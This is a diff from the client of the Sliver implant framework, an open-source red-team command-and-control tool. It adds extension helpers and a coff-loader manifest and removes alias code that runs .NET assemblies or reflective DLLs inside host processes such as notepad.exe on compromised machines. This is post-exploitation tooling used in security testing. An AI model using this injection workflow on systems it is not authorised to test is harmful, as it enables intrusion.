along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
// ExtensionsDirName - Directory storing the client side extensions
|
||||
ExtensionsDirName = "extensions"
|
||||
)
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, ExtensionsDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
|
||||
func GetInstalledExtensionManifests() []string {
|
||||
extDir := GetExtensionsDir()
|
||||
extDirContent, err := ioutil.ReadDir(extDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
}
|
||||
manifests := []string{}
|
||||
for _, fi := range extDirContent {
|
||||
if fi.IsDir() {
|
||||
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
|
||||
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
|
||||
log.Printf("no manifest in %s, skipping ...", manifestPath)
|
||||
continue
|
||||
}
|
||||
manifests = append(manifests, manifestPath)
|
||||
}
|
||||
}
|
||||
return manifests
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
[
|
||||
{
|
||||
"name": "coff-loader",
|
||||
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
|
||||
"entrypoint": "LoadAndRun",
|
||||
"extFiles": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files": {
|
||||
"x64": "COFFLoader.x64.dll",
|
||||
"x86": "COFFLoader.x86.dll"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
@@ -33,8 +33,6 @@ type ClientSettings struct {
|
||||
TableStyle string `json:"tables"`
|
||||
AutoAdult bool `json:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
@@ -57,8 +55,6 @@ func defaultSettings() *ClientSettings {
|
||||
TableStyle: "SliverDefault",
|
||||
AutoAdult: false,
|
||||
BeaconAutoResults: true,
|
||||
SmallTermWidth: 170,
|
||||
AlwaysOverflow: false,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,126 +0,0 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// AliasesCmd - The alias command
|
||||
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(loadedAliases) {
|
||||
PrintAliases(con)
|
||||
} else {
|
||||
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAliases - Print a list of loaded aliases
|
||||
func PrintAliases(con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
".NET Assembly",
|
||||
"Reflective",
|
||||
"Tool Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, aliasPkg := range loadedAliases {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
aliasPkg.Manifest.Name,
|
||||
aliasPkg.Manifest.CommandName,
|
||||
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
|
||||
aliasPkg.Manifest.Version,
|
||||
installed,
|
||||
aliasPkg.Manifest.IsAssembly,
|
||||
aliasPkg.Manifest.IsReflective,
|
||||
aliasPkg.Manifest.OriginalAuthor,
|
||||
aliasPkg.Manifest.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// AliasCommandNameCompleter - Completer for installed extensions command names
|
||||
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
for name := range loadedAliases {
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
results = append(results, name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func aliasPlatforms(aliasPkg *AliasManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range aliasPkg.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &AliasManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
@@ -1,90 +0,0 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "testing"
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"entrypoint": "foo",
|
||||
"allow_args": true,
|
||||
"default_args": "bar",
|
||||
"is_reflective": true,
|
||||
"is_assembly": true,
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseAliasManifest(t *testing.T) {
|
||||
alias1, err := ParseAliasManifest([]byte(sample1))
|
||||
if err != nil {
|
||||
t.Errorf("Error parsing alias manifest: %s", err)
|
||||
}
|
||||
|
||||
if alias1.Name != "test1" {
|
||||
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
|
||||
}
|
||||
|
||||
if alias1.CommandName != "test1" {
|
||||
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
|
||||
}
|
||||
|
||||
if alias1.Version != "1.0.0" {
|
||||
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
|
||||
}
|
||||
|
||||
if alias1.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
|
||||
}
|
||||
|
||||
if alias1.Help != "some help" {
|
||||
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
|
||||
}
|
||||
|
||||
if alias1.Entrypoint != "foo" {
|
||||
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
|
||||
}
|
||||
|
||||
if !alias1.AllowArgs {
|
||||
t.Errorf("Expected allow_args to be true, got false")
|
||||
}
|
||||
|
||||
if alias1.DefaultArgs != "bar" {
|
||||
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
|
||||
}
|
||||
|
||||
if !alias1.IsReflective {
|
||||
t.Errorf("Expected is_reflective to be true, got false")
|
||||
}
|
||||
|
||||
if !alias1.IsAssembly {
|
||||
t.Errorf("Expected is_assembly to be true, got false")
|
||||
}
|
||||
}
|
||||
@@ -1,178 +0,0 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesInstallCmd - Install an alias
|
||||
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
aliasLocalPath := ctx.Args.String("path")
|
||||
fi, err := os.Stat(aliasLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFile(aliasLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(aliasLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.Name)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating alias directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, cmdFile := range manifest.Files {
|
||||
if cmdFile.Path != "" {
|
||||
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file
|
||||
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, aliasFile := range manifest.Files {
|
||||
if aliasFile.Path != "" {
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("empty file %s", artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
}
|
||||
@@ -1,444 +0,0 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
ManifestFileName = "alias.json"
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var (
|
||||
// alias name -> manifest/command
|
||||
loadedAliases = map[string]*loadedAlias{}
|
||||
|
||||
defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
)
|
||||
|
||||
// Ties the manifest struct to the command struct
|
||||
type loadedAlias struct {
|
||||
Manifest *AliasManifest
|
||||
Command *grumble.Command
|
||||
}
|
||||
|
||||
// AliasFile - An OS/Arch specific file
|
||||
type AliasFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
// AliasManifest - The manifest for an alias, contains metadata
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
CommandName string `json:"command_name"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("alias file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
alias, err := LoadAlias(dirPath, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load alias: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("%s alias has been loaded\n", alias.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory
|
||||
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
// retrieve alias manifest
|
||||
var err error
|
||||
manifestPath, err = filepath.Abs(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// parse it
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest, err := ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
// for each alias command, add a new app command
|
||||
|
||||
// do not add if the command already exists
|
||||
if cmdExists(aliasManifest.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
helpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
helpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if aliasManifest.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.AliasHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(addAliasCmd)
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
// either by value or by ref fucks things up
|
||||
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
|
||||
Manifest: aliasManifest,
|
||||
Command: addAliasCmd,
|
||||
}
|
||||
|
||||
return aliasManifest, nil
|
||||
}
|
||||
|
||||
// ParseAliasManifest - Parse an alias manifest
|
||||
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
// parse it
|
||||
alias := &AliasManifest{}
|
||||
err := json.Unmarshal(data, alias)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if alias.Name == "" {
|
||||
return nil, fmt.Errorf("missing alias name in manifest")
|
||||
}
|
||||
if alias.CommandName == "" {
|
||||
return nil, fmt.Errorf("missing command.name in alias manifest")
|
||||
}
|
||||
if alias.Help == "" {
|
||||
return nil, fmt.Errorf("missing command.help in alias manifest")
|
||||
}
|
||||
|
||||
for _, aliasFile := range alias.Files {
|
||||
if aliasFile.OS == "" {
|
||||
return nil, fmt.Errorf("missing command.files.os in alias manifest")
|
||||
}
|
||||
aliasFile.OS = strings.ToLower(aliasFile.OS)
|
||||
if aliasFile.Arch == "" {
|
||||
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
|
||||
}
|
||||
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
|
||||
aliasFile.Path = util.ResolvePath(aliasFile.Path)
|
||||
if aliasFile.Path == "" || aliasFile.Path == "/" {
|
||||
return nil, fmt.Errorf("missing command.files.path in alias manifest")
|
||||
}
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
}
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
|
||||
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, executeAssemblyResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(executeAssemblyResp.Response)
|
||||
} else {
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else if aliasManifest.IsReflective {
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
